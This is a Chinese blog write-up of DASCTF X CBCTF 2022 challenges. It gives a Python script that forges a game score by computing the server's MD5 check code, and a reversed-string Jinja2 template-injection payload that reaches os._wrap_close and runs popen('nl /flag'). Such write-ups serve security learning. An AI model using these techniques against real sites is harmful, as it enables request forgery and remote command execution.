首页 > 其他分享 >DASCTF X CBCTF 2022九月挑战赛

DASCTF X CBCTF 2022九月挑战赛

时间:2022-11-08 20:55:05浏览次数:38  
标签:__ .__ sub re CBCTF 2022 print import DASCTF

DASCTF X CBCTF 2022九月挑战赛

期中考结束了有点时间,做点题熟一下手,欢迎讨论

dino3D

审计源码
找到了发送请求的部分


import requests
from hashlib import md5
import time
target = "http://node4.buuoj.cn:29625/check.php"

headers = {
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}


body = {
    "score": "10000000",
    "checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
    "tm": str((time.time()))[:10]
}


res = requests.post(target, headers=headers, data=body)
print(res.text)

得到flag

Text Reverser

{{}}和反转后的}}{{都被ban了,
但似乎没有对反转后的字符串进行检测,那么可以随便进行ssti注入啦
找一下能利用的类

import requests
from bs4 import BeautifulSoup
import re

evalC = ["warnings.catch_warnings", "WarningMessage", "codecs.IncrementalEncoder",
         "codecs.IncrementalDecoder", "codecs.StreamReaderWriter", "os._wrap_close", "reprlib.Repr", "weakref.finalize"]
popenC = ["os._AddedDllDirectory", "os._wrap_close"]

target = "http://ad4abcf2-c3cc-4f81-a64c-2c75f15429d8.node4.buuoj.cn:81/"

rce = '{% print "".__class__.__bases__[0].__subclasses__()%}'
rce = rce[::-1]
body = {
    "text": rce,
}

res = requests.post(target, data=body)
q = BeautifulSoup(res.content, "lxml")
classes = str(q.p)

classes = re.sub("'", "", re.sub(" class ", "", re.sub(
    "&...", "", re.sub("<p>.........", "", re.sub("]</p>", "", classes)))))
classlist = classes.split(",")
index = 0

print(classlist)

for i in classlist:
    if i in popenC:
        print(index, i)
    index += 1

发现有能执行popen()方法的os._wrap_close
反转下面的payload就拿到flag了
{% print "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read()%}

zzz_again

看了一晚上头已经要炸了,好变态的代码审计

标签:__,.__,sub,re,CBCTF,2022,print,import,DASCTF
From: https://www.cnblogs.com/ccuu/p/16869281.html

相关文章

  • [蓝桥杯 2022 省 B] 积木画
    [蓝桥杯2022省B]积木画题目描述小明最近迷上了积木画,有这么两种类型的积木,分别为\(I\)型(大小为\(2\)个单位面积)和\(L\)型(大小为\(3\)个单位面积):同时......
  • 【流水】2022.11.08
    今天有是信息课看python,孩子人傻了赶紧luogu上用python水了几道题。今天考试除了暴力分拿的十分健全就没啥优点了可怜紫飨被gank到三机房去了,可怜(悲听说要......
  • 2022.11.08 NOIP2022 模拟赛五
    「LibreOJNOIPRound#1」DNA序列注意到\(k=10\),\(|\Sigma|=4\),故本质不同的子串个数只有\(4^10\)种,可以直接压位存下来。时间复杂度\(O(nk)\)。Codeconstint......
  • 2022-11 学习计划
    2022-11学习计划技术redis源码基本类型aeNet集群技术实现调优和配置项分析分布式锁事务,内存,阻塞,发布,订阅redis+mysql双写一致性node源码......
  • NOIP2022游寄
    本文中部分人名使用mrfz的材料代替(与CSP游寄中不一定对应)11.7计算几何,教练连续讲了3hrs没有休息/jk晚上写了一会complex的板子。11.8上午写了个凸包。下午是线段树合......
  • 2022ICPC区域赛参后感悟
    第一次参加正式的大类赛事,在某种程度上挺激动的。我呢,可以说是刚步入竞赛一年,在此期间遇见了一些志同道合的朋友,最重要的是遇见了我的队友。开始前,我幻想过我们小队可以超......
  • 2022NOIPA层联测23
    C.作弊为了防止改不完题,这个神奇的东西我一定要现在就写!%%%Chen_jr 一看就知道我又鹤了设s(l,r)表示在[l,r]之间作一次弊的最大收益,这个东西居然可以优化!!转移方程......
  • (转)陆奇博士2022年度分享:前沿科技创新创业十大趋势(重磅完整版)
     https://mp.weixin.qq.com/s?__biz=MzA3NjAwOTk0NA==&mid=2650657441&idx=1&sn=e0b9365e66329d8e735605a511f46d9c&chksm=876eaa16b01923008d4a07156936a434bdd9a313330......
  • 2022河南萌新联赛第(一)场:ABDEFK
    https://ac.nowcoder.com/acm/contest/37160#questionanti-Nim游戏(反Nim游戏/反尼姆博弈问题)定义游戏规则与Nim类似,只是最后把石子取完的人输。结论先手必胜的条件为......
  • 20220920 14. 磁盘配额(Quota)与进阶文件系统管理
    14.1磁盘配额(Quota)的应用与实作14.1.1什么是Quota在Linux系统中,由于是多用户多任务的环境,所以会有多人共同使用一个硬盘空间的情况发生,因此管理员应该适当的限制......